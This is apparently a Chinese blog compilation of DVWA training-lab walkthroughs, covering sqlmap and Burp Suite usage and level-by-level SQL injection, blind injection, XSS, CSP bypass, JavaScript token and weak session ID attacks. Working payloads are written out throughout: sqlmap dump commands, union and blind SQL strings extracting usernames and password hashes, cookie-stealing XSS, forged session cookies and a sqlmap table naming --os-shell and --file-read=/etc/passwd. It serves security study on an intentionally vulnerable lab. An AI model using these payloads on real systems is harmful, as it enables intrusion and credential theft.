0%

说明

sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过带外数据连接的方式执行操作系统命令。

安装

  • 下载最新源码
1
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
  • 使用方法
1
2
3
4
5
6
7
8
9
10
11
12
E:\app\sqlmap-dev>python -V
Python 3.7.9

E:\app\sqlmap-dev>python sqlmap.py -h
___
__H__
___ ___[(]_____ ___ ___ {1.6.2.4#dev}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

Usage: sqlmap.py [options]

实践

image-20220218093732636

默认注入

我们要以刚才发现的 ?id 为突破点,使用sqlmap 对DVWA 进行sql 注入测试,batch参数表示默认选项

1
E:\app\sqlmap-dev>python sqlmap.py -u "http://IpAddress/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4" --batch

发现了4个注入漏洞类型(基于布尔的盲注检测,时间的盲注检测,错误的检测,union联合查询的检测);还有一种sqlmap也支持就是堆叠查询的检测,其实就算多语句查询,多语句用;隔开

image-20220218111128496

拿数据库

拿数据库信息的命令

1
E:\app\sqlmap-dev>python sqlmap.py -u "http://IpAddress/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4" --dbs

扫描出来了两个数据库

image-20220218111344952

拿表

查看某数据库并展示所有表命令

1
E:\app\sqlmap-dev>python sqlmap.py -u "http://IpAddress/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4" --batch -D dvwa --tables

得到了两个表

image-20220218111657352

表中列

查看某数据库某表的所有列:

1
E:\app\sqlmap-dev>python sqlmap.py -u "http://IpAddress/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4" --batch -D dvwa -T users --columns

得到了列数据由8个

image-20220218112135587

查询数据

1
2
3
4
5
6
E:\app\sqlmap-dev>python sqlmap.py -u "http://IpAddress/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4" --batch --dump -C "user_id,user,password" -T "users" -D "dvwa"

# --dump 转储数据库表项,查询字段值
# -C 要进行枚举的指定列名
# -T 要进行枚举的指定表名
# -D 要进行枚举的指定数据库名

image-20220218112805713

密码被自动解密了

其他参数

参数名 说明 实例
–data 提交的时候要携带的参数 sqlmap.py -u URL –data“username=a&password=a”
–dbms 指定注入的数据类型 –dbms mysql
–threads 多线程,默认是单线程为1 –threads=10
-r post数据包 sqlmap -r a.txt -p username 入txtpost数据包参数username进行注入
–sql-shell 接获取一个sql shell sqlmap -u url?id=11 –sql-shell
–os-shell 获取一个cmd shell sqlmap -u url?id=11 -os-cmd=ipconfig
–file-read 读取服务器文件 sqlmap -u http://url?id=11 –file-read=/etc/passwd
–file-write 写入本地文件到服务器 qlmap -u http://url/sql.php?id=11 –file-write /test/test.txt –file-dest /var/www/html/1.txt
  • 更多参数说明可以参考这里

Proxy

  • 代理模块,主要时拦截http/https的请求,一些拦截端口,拦截请求(过滤)/响应(替换)等设置都在这个模块

image-20220216171907221

实例

image-20220217104445168

访问https时,需要ssl证书,比如访问csdn时,直接抓包就提示,本次主要时在浏览器中设置,如果在proxy中导入证书,参考这里

image-20220217104539089

  • 浏览器中输入:127.0.0.1:8080,点击右上角CA证书按钮

image-20220217104636496

  • 谷歌浏览器-设置-搜索:证书

image-20220217105120882

image-20220217105158869

导入刚刚下载的证书直到完成

image-20220217105255589

找到刚刚导入的证书,在中间证书颁发机构下面,点击导出

image-20220217105746211

选择base64

image-20220217105856259

image-20220217110023738

在证书机构中导入刚才的证书文件,并选择【信任使用此CA标识的网站

image-20220217110420952

image-20220217110202421

image-20220217110232399

image-20220217110312353

重启下浏览器和burpsite

image-20220217110720646

Intruder

暴力破解模块,常用场景就算爆破登录密码,参考这里的实例

image-20220217094834492

Repeater

重发请求,使用场景:拦截请求后,action发送到Repeater,打开Repeater然后点击发送,可以看到发送请求和响应数据

image-20220217094807468

Sequencer

  • 没有用过

  • 用于检测数据样本随机性质量的工具,通常用于检测访问令牌是否可预测、密码重置令牌是否可预测等场景,通过Sequencer不断发包,抓取对应的token值等等,对这些随机令牌的样本,进行数据分析,能很好地降低这些关键数据被伪造的风险

  • DVWA靶场中Weak Session IDs(弱会话),应该可以验证,有兴趣可以参考这里

image-20220217095231055

Decoder

Decoder用于对字符串进行加密解密的操作,实际场景没有使用过

image-20220217100107857

Comparer

两个请求的对比,有兴趣的可以参考这里

image-20220217101604862

Extender

扩展模块,比如插件的使用就是这里,后续单独介绍此模块

image-20220217101655976

Project options

项目选择的配置选项,一般都是保持默认,有兴趣可以参考这里介绍

image-20220217101743166

User options

用户选择的一些常用配置,一般都是保持默认,有兴趣可以查看这里介绍

image-20220217102502735

Target

目标工具包含了SiteMap,用你的目标应用程序的详细信息。它可以让你定义哪些对象在范围上为你目前的工作,也可以让你手动测试漏洞的过程,Target分为site map、scope、 issue definitions

image-20220217112140164

site map

所有被拦截的请求都在这里地图上展示,常见场景只查看csdn的请求:

  • 右击后,点击Add to scope

image-20220217112425549

  • 打开scope查看到了刚刚添加的数据,就算白名单

image-20220217112741495

  • 鼠标点击Site map的过滤文本框

image-20220217112838390

  • 选择只展示scope中设置的条目

image-20220217112944233

  • 最终点击re-enable按钮

image-20220217113037862

image-20220217113108637

issue definitions

用Scanner扫描可以检测出的漏洞列表

image-20220217113326895

spider

新版本的爬虫模块在这里,被隐藏了

image-20220217114232491

image-20220217114735514

可以看到爬虫后的一些文件

image-20220217152106710

Scanner

Burp Scanner的功能主要是用来自动检测web系统的各种漏洞,我们可以使用Burp Scanner代替我们手工去对系统进行普通漏洞类型的渗透测试,从而能使得我们把更多的精力放在那些必须要人工去验证的漏洞上。

实践

点击New scan(主动扫描,旁边的New live task为被动扫描)

image-20220217160808751

输入需要扫描的地址

image-20220217161152993

填写登录的密码

image-20220217161234808

扫描中

image-20220217161307661

点击这可以看到一些扫描情况

image-20220217161512590

发现高危漏洞

image-20220217164419703

明文传输密码

image-20220217164510106

导出报告

image-20220217164617231

image-20220217164645942

概述

就算js前端攻击

安全等级Low

发现输入success提交是无效的

image-20220215145045285

源码分析

后台代码

文本框(phrase)输入内容,经过md5+自定义函数(rol13)转换后,最终赋值给token

image-20220215150253005

页面代码

查看页面发现 token的值是一个隐藏控件,并且是一个固定值

image-20220215153721456

  • 看其他人的博客,直接能看到index.php文件的逻辑,我试过了这样不行

image-20220215160009445

  • 转到服务器上看下具体的index.php代码
1
2
3
4
5
6
7
8
# 不知具体的Index.php文件在哪里,采用模糊搜索的方式找到了php文件
[root@VM-24-13-centos DVWA-2.0.1]# grep -r 'You got the phrase wrong'
vulnerabilities/javascript/index.php: $message = "<p>You got the phrase wrong.</p>";
...
[root@VM-24-13-centos javascript]# pwd
/var/www/html/DVWA-2.0.1/vulnerabilities/javascript
[root@VM-24-13-centos javascript]# cat index.php

看下核心代码就清楚了,整个完整逻辑是这样

  • 文本框(phrase)输入内容,经过md5+自定义函数(rol13)转换后,最终赋值给token(隐藏控件)
  • 用token的值和加密后的success(md5(rot13)函数)对比

image-20220215160521487

开始攻击

  • 既然知道了整个逻辑,只要输入已经加密过的success字符串即可

  • 谷歌浏览器按f12,打开console,输入:md5(rot13("success"))得到了值为:38581812b435834ebf84ebcc2c6424d6

image-20220215161321203

页面文本框输入:success,点击提交

image-20220215161946122

抓包拦截请求修改token的值为:38581812b435834ebf84ebcc2c6424d6,点击发送

image-20220215162218406

页面上展示通过

image-20220215162254369

安全等级为Meduim

源码分析

其实就是do_someting对phrase变量进行反转,如输入的success,就是sseccus,生成的token值=XXsseccusXX

image-20220215162917020

开始攻击

页面上输入success

image-20220215161946122

token直接改为XXsseccusXX

image-20220215163915705

image-20220215164001569

后续攻击

不实践了,直接参考这里

概述

CPS即内容安全策略,实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

开启方法

  • 抄录于这里

  • 两种方法可以启用 CSP。一种是通过 HTTP 头信息的Content-Security-Policy的字段。

    1
    2
    Content-Security-Policy: script-src 'self'; object-src 'none'; 
    style-src cdn.example.org third-party.org; child-src https:

    image-20220215092004385

  • 另一种是通过网页的<meta>标签

1
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

上面代码中,CSP 做了如下配置。

  • 脚本:只信任当前域名
  • <object>标签:不信任任何URL,即不加载任何资源
  • 样式表:只信任http://cdn.example.orghttp://third-party.org
  • 框架(frame):必须使用HTTPS协议加载
  • 其他资源:没有限制

启用后,不符合 CSP 的外部资源就会被阻止加载。

安全等级为Low

结论:攻击失败,原因分析在下面有说明

image-20220215092558062

源代码分析

从源码查看设置了headerCSP,可以知道以下语句可以被执行:

1
2
3
4
5
https://pastebin.com
hastebin.com
example.com
code.jquery.com
https://ssl.google-analytics.com

image-20220215092503894

f12查看当前页面请求,也能发现CSP的设置

image-20220215092925167

开始攻击

首先在https://pastebin.com/里边创建一个JavaScript代码alert("hahaha")保存记住链接

image-20220215093103371

点击右上角的raw

image-20220215093156720

得到了分享链接:https://pastebin.com/raw/PgTLeSd2

image-20220215093230759

把得到的链接输入输入框中

image-20220215093353837

image-20220215103943833

打开Console发现出现类似于跨域报错问题

image-20220215104125884

安全等级为Medium

源码分析

  • unsafe-inline:当csp有Unsafe-inline时, 并且受限于csp无法直接引入外部js, 不过当frame-src
    为self, 或者能引入当前域的资源的时候, 即有一定可能能够引入外部js。
  • nonce-source,仅允许特定的内联脚本块。如源码中:nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='

image-20220215104504770

开始攻击

直接输入:<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

image-20220215104701452

image-20220215104717799

安全等级为High

image-20220215105533492

源码分析

后台代码

这里可以看到除了自身,其余的外部资源全部过滤了

image-20220215105448255

前端js

前端直接调用了一个回调函数solveSum,没有对此传参进行任何处理

image-20220215105654909

开始攻击

谷歌浏览器按f12,打开source页签,找到high.js文件,加个断点,修改callback参数为alert(document.cookie),记得按ctrl+s保存修改

image-20220215110402569

点击页面上的按钮

image-20220215110854695

点击继续运行按钮

image-20220215111146007

出现弹框

image-20220215111208307

安全等级为

源码分析

前端没有回调函数了

image-20220215111736306

本文主要操作步骤来源这里

概述

三种xss区别

  • 存储型XSS:你发送一次带XSS代码的请求,以后这个页面的返回包里都会有XSS代码;

  • 反射型XSS:你发送一次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码;

  • DOM型XSS:你发送一次带XSS代码的请求,在返回包里压根儿就找不到XSS代码的影子

安全等级为Low

image-20220214162317853

源码分析

  • trim(string,charlist):移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符;

  • mysql_real_escape_string(string,connection):对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义;

  • stripslashes(string):删除字符串中的反斜杠。

从源码中可以看到,对输入的name参数和message参数并没有做XSS方面的过滤与检查,并且数据存储在数据库中,所以存在明显的存储型XSS漏洞;

image-20220214162356195

开始攻击

  • message输入: <script>alert('XSS')</script>,点击sign按钮,出现弹框

image-20220214162716214

image-20220214162838286

安全等级为Meduim

清空数据后,然后把low的攻击代码提交后,不成功

image-20220214164219024

源码分析

  • 由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码;

  • 但是对于name参数,这里是基于黑名单的思想,使用str_replace函数将输入中的script删除,把script脚本当做字符串来处理;仍然存在存储型的XSS。

image-20220214164518016

开始攻击

  • 修改name的长度为100

image-20220214171718344

name输入<img src=x onerror=alert(1)>message攻击失败

image-20220214171810074

image-20220214171845355

  • 每次打开这个页面,都会出现弹框

  • 当然还可以尝试,大写绕过:<ScRipt>alert(1)<ScRipt>和双写绕过:<scr<script>ipt>alert(1)</script>

安全等级为High

源码分析

都用到了preg_replace()函数,它彻底的过滤了<script></script>,不能绕过,同时针对于message模块,也有相当强大的过滤策略,message不存在存储型XSS漏洞

image-20220214172543801

开始攻击

采用安全等级为meduim一样的方式,name输入: <img src=x onerror=alert(1)>img调用图片,src所描述路径不存在,会导致onerror执行,从而时alert(1)函数触发,回显1

安全等级为impossible

源码分析

  • 在impossible等级下,针对于message与name模块都使用 stripslashes()mysql_real_escape_string()、以及htmlspecialchars()函数
  • 并且对于已经存在的xss数据,当前页面也会过滤,如果是低,中,高的安全等级对于已经存在的xss,再次打开页面时,会弹出提示框

image-20220214172949782

本文操作步骤主要来自这里

概述

  • 上篇介绍了DVWA通关指南-DOM-XSS-DOM型跨站脚本攻击,本篇开始介绍(Reflect)-反射性xss

  • 反射性xss,主要需要通过URL构造等手段,才能触发的XSS漏洞,非持久化;反射型xss实际上是包括了dom - xss了,关键点仍然是在通过url控制了页面的输出(dom-xss也类似,只因为输出地点不同而导致结果不一致)。

  • 常见注入代码

1
2
3
<script>alert(1)</script>
<img src=1 onerror=alert(1) hidden="true"/>
<iframe onload=alert(1) height="0" width="0" hidden="true"/>

安全等级Low

image-20220214153149478

分析源码

  • 只是判断了name是否有值,其他没有做过滤

image-20220214153326675

开始攻击

直接修改name=<script>alert(1)</script>#

image-20220214154450772

安全等级为Medium

image-20220214154719159

源码分析

过滤了script标签

image-20220214154548875

开始攻击

直接把script改成大写:name=<Script>alert(1)</Script>#

image-20220214154936849

安全等级为High

image-20220214155355958

源码分析

替换所有与<script>相关的字符,那么就采用a或iframe等无需script标签的方式绕过。

image-20220214155324591

开始攻击

  • 采用a标签:name=<a href=http://XXX.xxx.xx.xx>登录</a>,可以直接点击登录

image-20220214160517561

安全等级为Impossible

image-20220214160654149

源码分析

用了htmlspecialchars函数,将特殊字符转换为 HTML 实体

image-20220214160741582

总结

  • 利用:如果没有对特殊字符进行HTML转义,都存在被XSS利用的漏洞

  • 防御:数据返回前端页面前,将【<】【>】【”】【’】【&】全转义了,既可!

  • 本文主要步骤来自这里

详解

XSS

  • XSS(跨站脚本攻击),是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
  • XSS存在的根本原因是,对URL中的参数和对用户输入提交给web server的内容,没有进行充分的过滤

分类

  • 持久化 XSS:恶意代码通常来自网站数据库。
  • 反射式 XSS:恶意代码通常来自用户请求。
  • 基于 DOM 的XSS:漏洞通常在客户端而非服务端,DOM XSS 是由于浏览器解析机制导致的漏洞,服务器不参与,而存储型与反射型都需要服务器响应参与

危害

从以下我们可以知道,存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触, 只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL, 需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。

1
2
3
4
5
6
7
8
9
10
11
12
							|--->窃取cookie
|--->网络钓鱼
|------->针对用户-->|--->放马挖矿
| |--->广告刷流量
XSS----|
|
| |--->篡改页面
|----->针对web服务->|--->传播蠕虫
|--->内网扫描
|--->劫持后台


DOM型XSS

  • DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

  • 用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。

什么是DOM

知道html的知识,应该都清楚什么是DOM,比如一个典型的html格式

1
2
3
4
5
6
7
<html>
<head></head>
<body>
<div id="wap">
<img src="1.jpg" />
</div>
</body>

常见注入代码

1
2
3
<script>alert(1)</script>
<img src=1 onerror=alert(1) hidden="true"/>
<iframe onload=alert(1) height="0" width="0" hidden="true"/>

安全等级为Low

服务器代码

image-20220214103755950

源码分析

服务器代码

  • 可以看到代码中没有做任何保护,而表单是让我们选择语言

  • 点击select,可以看到?default=English,所以可以在=号后插入xss payload

image-20220214104034792

前端代码

右键查看前端源码,发现有URI解码的函数,被前端执行

image-20220214151722967

POC、EXP、Payload与Shellcode

POC,全称”Proof of Concept”,中文“概念验证”,常指一段漏洞证明的代码。

EXP,全称”Exploit”,中文“利用”,指利用系统漏洞进行攻击的动作。

Payload,中文“有效载荷”,指成功exploit之后,真正在目标系统执行的代码或指令。

Shellcode,简单翻译“shell代码”,是Payload的一种,由于其建立正向/反向shell而得名。

开始攻击

直接把请求参数改为:default=<script>alert(document.cookie)</script>,就获取到了cookie

image-20220214110216672

安全等级为Medium

源码分析

主要过滤了script标签

image-20220214104951307

开始攻击

直接把参数改为:</option></select><img src=1 onerror=alert("xss")>,这里的是为了破坏选择框的结构。

image-20220214110140539

安全等级High

源码分析

default=只允许是French、English、German、Spanish、这几个通过。(采用了白名单过滤)

image-20220214111011079

开始攻击

用#号绕过提交到服务器,参数改为:default=English#</option></select><img src=1 onerror=alert(document.cookie)>

image-20220214111327747

安全等级为 Impossible

源代码分析

后台什么也不做

image-20220214112250124

前端去除了URI解码的函数,默认不解码,所以无法被前端执行。

image-20220214152239910

总结

  • 利用:任何URL带参页面,都可以尝试渗透

  • 预防:在页面跳转时,不要过分依赖URL数据,尽量通过POST重新获取数据

  • 本文操作步骤来自这里

总结

  • 对于本篇的攻击方式,感觉应该有问题,其实无论安全等级为何种,只要在谷歌打开dvwa抓包到cookie值后,然后再火狐浏览器打开url,修改为谷歌dvwa中cookie值后,都能绕过登录

  • 但是我搜索了其他博客,都是采用这样的方式来做的

概念

  • 用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。

  • 获得session后,用户访问页面就不用登陆,只需要携带session就可以了。

如何利用

  • 由于SessonID是用户登陆后拥有的唯一认证凭证,因此黑客不需要再攻击登陆过程,就可以获取访问权限

  • 常见类型保存在cookie中,保存在url中(太不安全)

安全等级Low

用谷歌浏览器打开dvwa

image-20220211105704983

源码分析

服务器每次生成的session_id加1给客户端, setcookie("dvwaSession", $cookie_value);就是设置session的值

image-20220211110634046

开始攻击

image-20220211153530303

image-20220211164333448

抓包火狐发送的请求,发现security=impossible,并不是Low,据我观察好像在登录后才会读取security的值,不然默认就是impossible

image-20220211164609202

把cookie改过来:dvwaSession=4; security=low; PHPSESSID=e1r12c4ddu75vdmch70gkmr087,点击发送

image-20220211164918914

安全等级为Medium

源代码分析

采用time函数获取时间戳,作为cookie值(session)

image-20220211112526717

开始攻击

谷歌浏览器抓包后,得到 cookie:dvwaSession=1644566404; security=medium; PHPSESSID=e1r12c4ddu75vdmch70gkmr087

image-20220211165037092

注意dvaSession的值为时间戳,需要这里我们就需要去时间戳的网站进行转换:https://tool.lu/timestamp/

image-20220211160435148

火狐浏览器先退出登录的DVWA,输入http://XXXX1/DVWA-2.0.1/vulnerabilities/weak_id/

抓包修改cookie的值为:dvwaSession=1644566404; security=medium; PHPSESSID=e1r12c4ddu75vdmch70gkmr087

image-20220211165419235

  • 成功跳过登录验证,发现一个奇怪问题,就算是谷歌浏览器中设置了安全等级的难度,在火狐请求中直接修改cookie的值就能绕过?

安全等级High

源码分析

  • 首先使用!isset()函数对session变量进行检查,如果没有进行赋值。则设置为0,然后每一次都递增1。
  • 然后将session变量进行MD5加密后赋值为cookie_value变量。
  • 最终,将 cookie_value这个值发送给浏览器作为cookie。
  • 这里进行哈希加密处理,但初始的值始终是从0开始这种形式作为cookie

image-20220211165923234

开始攻击

谷歌浏览器,点击生成按钮

image-20220211170403199

抓包谷歌浏览器中的请求,发现请求参数其实和安全等级为medium一样的

image-20220211172637304

发给重发器观察下

image-20220211172716229

在重发去中发送请求,得到dvwaSession的值为:e4da3b7fbbce2345d7772b0674a318d5

image-20220211171042169

在线md5解密工具看看,这样的话就明白了它的逻辑,又服务器端提供dvwaSession在low的基础上加入了MD5加密

image-20220211171315505

  • 把构造的cookie复制:dvwaSession=e4da3b7fbbce2345d7772b0674a318d5; security=high; PHPSESSID=e1r12c4ddu75vdmch70gkmr087

  • 打开火狐浏览器你,输入url,抓包拦截,修改cookie的值,dvwaSession的值输入的是时间戳也能成功

  • 其实这里的攻击我并没有看出和安全等级为中的时候的区别

image-20220211172040526

点击发送后,成功绕过登录

image-20220211172118623

安全等级为impossible

分析源码

$cookie_value采用随机数+时间戳+固定字符串”Impossible”,再进行sha1运算,完全不能猜测到dvwaSession的值。

image-20220211173247187

参考这里

概述

  • 与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
  • 盲注举个例子:比如本次的dvwa中,输入id后,只有两种结果:存在和不存在
普通SQL注入 SQL盲注
执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等 服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注)
一般在页面上直接就会显示执行sql语句的结果 不会直接显示sql执行的结果
有可能出现不确定sql是否执行的情况

盲注类型

  • 基于布尔值的盲注;

  • 基于时间的盲注;

  • 基于报错的盲注;

在本次实验中只演示基于布尔值的盲注与基于时间的盲注;

盲注过程

  • 判断是否存在注入,注入是字符型还是数字型;

  • 猜解当前数据库名;

    猜解数据库的长度;猜解数据库的名称;

  • 猜解数据库中的表名;

    猜解库中有几个表;猜解表的长度;猜解表的名称;

  • 猜解表中的字段名;

    猜解表中有几个字段;猜解字段的长度;猜解字段的名称;

  • 猜解数据;

安全等级为Low

  • 对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞;

  • 同时SQL语句查询返回的结果只有两种:User ID exists in the database;User ID is MISSING from the database;

image-20220210172254464

开始攻击

基于布尔值的盲注

判断注入类型
  • 判断是否存在注入,注入是字符型还是数字型
  • 输入1,查询成功;

image-20220210172531276

输入1' or '1'='1#,查询成功,证明存在字符型SQL注入;

image-20220210172617410

猜解当前数据库名
猜解数据库名的长度

发现输入:1' and length(database()) =4 #,返回正确

image-20220210172912337

猜数据库名字
  • 分别输入,其实他们的值分别为:d,v,w,a,联合起来就是:dvwa

  • 注意substr这里的语法,substr(str,1,1),表示截取字符串从第一位开始,截取一个字符,substr(str,2,1)表示截取字符串从第2位开始,截取一个字符

1
2
3
4
5
6
7
1' and ascii(substr(database(),1,1))=100#       

1' and ascii(substr(database(),2,1))=118#

1' and ascii(substr(database(),3,1))=119#

1' and ascii(substr(database(),4,1))=97#

image-20220210173553877

ascii需要 结合下面的表进行查看,比如ascii(substr(database(),1,1))=100 就算等于d

2021030510302822

猜解数据库中的表名
猜解数据库中表的个数

有两个表,输入:1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#

image-20220210173736423

猜解数据库中表的长度
  • 如(guestbook=9,users=5)

    • 输入 1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9#

    image-20220210173933913

    • 输入:1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#

      image-20220210173933913

猜解数据库中的表名
  • 如(guestbook,users),输入下面的值,得到guestbook中的g
  • 注意limit语法,如:select * from tablename limit 2,4,表示即取出第3条至第6条,4条记录
  • 那么下面的语句解释我:查询到所有表后(取第一个表)用substr截取(规则为从第一个字符开始,截取长度为1),最终用ascii进行转换得到值(103)和103进行对比
1
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 
  • 安装上述所述,依次类推可以分别得到uestbook等的值
1
2
3
4
5
--值为u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 #

--值为e
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101 #
  • 比如第二个表(users)的第一个数据的ascii值为u
1
2
3
4
5
--注意limit的值取的是第2条至第3条记录,就是第二个表,得到的值为u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1))=117#

-- 值为s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),2,1))=115#

image-20220211095417168

安全等级为Medium

image-20220211100841155

源码分析

  • 可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义;

  • 同时设置了下拉选择表单,控制用户的输入;

  • 可以简单看出,用户只能选择1-5,存在数字型SQL注入;

image-20220211100943860

开始攻击

  • 没有实际操作,偷懒用别人的图片

  • 虽然使用了下拉选择菜单,但是我们可以通过抓包修改参数,实现SQL注入;

  • 把id的值改为:1 and length(database())=4

image-20220211101224589

  • 接下来的操作与low级别基本上相似,只是不需要1后面的单引号和最后的#

安全等级High

image-20220211101516972

源码分析

  • High级别在SQL查询语句中添加了LIMIT 1,以此控制只输入一个结果;

  • image-20220211101606213

开始攻击

  • 虽然添加了LIMIT 1,但是我们可以通过#将其注释掉,如输入:1' and length(database()) =4 #

image-20220211101738184

  • 接下来的操作与low级别一样;

  • 虽然源码中限制了输入的长度为1,但是我们在输入的最后加个#,就可以注释掉源码中的limit 1;

  • 在High级别中,不适合用基于时间的盲注,因为High级别的源码中显示,不论猜解正确或者错误,都会sleep(rand(2,4));

安全等级Impossible

image-20220211102110754

源码分析

image-20220211102044615

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入;

同时只有返回的查询结果数量为1时,才会输出;

总结

  • sql盲注太耗时了,需要看测试时间,看看是否值得投入测试

  • 本文操作步骤主要来自这里这里

概述

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。

SQL注入流程

拿到一个查询条件的web网页,就需要对输入框做以下的事情

  • 判断是否存在注入,注入是字符型还是数字型

  • 猜解SQL查询语句中的字段数

  • 确定显示的字段顺序

  • 获取当前数据库

  • 获取数据库中的表

  • 获取表中的字段名

  • 下载数据

安全等级为Low

image-20220210102936779

源码分析

根据id,获取用户信息

image-20220210102904972

开始攻击

输入1’ #( 闭合方式,单引号闭合,使用#注释后面内容

image-20220210103853390

获取数据库

输入 -1' union select 1,database() #

image-20220210104351037

爆表

输入下面的注入, table_schema数据库名的十六进制,0x64767761就是dvwa

1
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761 #

image-20220210105054060

爆字段

输入下面的注入,table_name=0x7573657273这里多了一个这个,这是表名的十六进制,也就是users表

1
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

image-20220210105234793

爆字段值

输入下面的注入,0x7e表示特色符号~和concat_ws联合使用,连接user,password字段,这样就得到了数据库的用户名和密码(请看下面获取用户名和密码步骤,更加简单)

1
-1' union select 1,group_concat(concat_ws(0x7e,user,password)) from dvwa.users #

image-20220210105701150

获取用户和密码

输入下面的注入,获取打用户名和密码

1
1' union select user,password from users#

image-20220210110937708

随便找个在线MD5解密工具,判断出密码;

image-20220210111045840

安全等级为Medium

image-20220210111956188

源码分析

  • 可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义;

  • 同时设置了下拉选择表单,控制用户的输入;

  • 可以简单看出,用户只能选择1-5,存在数字型SQL注入;

image-20220210111913568

开始攻击

  • burp suit抓包设置好

  • 页面上选项下拉数字,点击提交按钮

image-20220210112442902

image-20220210113450667

  • 把id的值修改为:1 union select user,password from users#

image-20220210113829839

  • 攻击成功

image-20220210113908830

安全等级为High

查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

image-20220210160300452

源码分析

High级别在SQL查询语句中添加了LIMIT 1,以此控制只输入一个结果;虽然添加了LIMIT 1,但是我们可以通过#将其注释掉;

image-20220210114128794

开始攻击

输入,都不用抓包

1
1' union select user,password from users#

image-20220210160700531

image-20220210160716678

安全等级为Impossible

源码分析

  • Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入;

  • 同时只有返回的查询结果数量为1时,才会输出;

image-20220210160823566

本文主要来自于这里